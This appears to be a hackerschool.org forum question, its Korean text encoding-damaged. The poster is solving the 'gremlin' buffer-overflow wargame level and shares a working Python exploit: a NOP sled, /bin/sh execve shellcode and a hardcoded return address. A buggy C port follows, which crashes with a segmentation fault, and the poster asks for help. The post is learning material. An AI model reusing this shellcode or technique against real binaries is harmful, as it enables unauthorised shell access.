|
http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=2014 [º¹»ç]
import os
# Ÿ°Ù ÆÄÀÏ °æ·Î
TARGET = os.getcwd() + "/gremlin"
# NOP ½½¶óÀ̵å
payload = "\x90" * 200
# ½©ÄÚµå Ãß°¡
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = payload + SHELLCODE
# Ãß°¡ NOP ½½¶óÀ̵å
payload = payload + "\x90" * 35
# ¸®ÅÏ ÁÖ¼Ò Ãß°¡ (½Ã½ºÅÛ¿¡ ¸Â°Ô ¼öÁ¤ ÇÊ¿ä)
RET_ADDR = "\x60\xfd\xff\xbf"
payload = payload + RET_ADDR
# execv È£Ãâ
os.execv(TARGET, (TARGET, payload))
ÆÄÀ̽ã 1.5.2ÀÇ ±âÁØÀ¸·Î ÀͽºÇ÷ÎÀÕ Äڵ带 ÀÛ¼ºÇÏ´Â °Ç Çß½À´Ï´Ù.
±×·±µ¥ C·Î ÀÛ¼ºÇÏ´Ï ¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù(core dumped)°¡ ¶å´Ï´Ù.
¾Æ·¡´Â Á¦°¡ C·Î ÀÛ¼ºÇÑ ÄÚµåÀä.
[gate@localhost gate]$ cat exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main() {
char *target = "/home/gate/gremlin";
char payload[300];
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret_addr[] = "\x60\xfd\xff\xbf";
char *c_argv[1024];
memset(payload, 0x90, 200); // NOP ½½¶óÀ̵å (0x90)
memcpy(payload + 200, shellcode, sizeof(shellcode) - 1); // ½©Äڵ带 NOP ½½¶óÀÌµå µÚ¿¡ Ãß°¡
memset(payload + 200 + sizeof(shellcode) - 1, 0x90, 35); // Ãß°¡ NOP ½½¶óÀ̵å
memcpy(payload + 200 + sizeof(shellcode) - 1 + 35, ret_addr, 4);
strcpy(c_argv[0], target);
strcpy(payload, target);
c_argv[2] = NULL;
execv(target, c_argv);
return 0;
}
[gate@localhost gate]$ gcc -o exploit exploit.c
[gate@localhost gate]$ ./exploit
Segmentation fault (core dumped)
[gate@localhost gate]$
¾îµð°¡ ¹®Á¦ÀÎÁö ¾Ë·ÁÁÖ½Ã¸é °¨»çÇϰڽÀ´Ï´Ù...
|
Hit : 1381 Date : 2024/09/18 04:15
|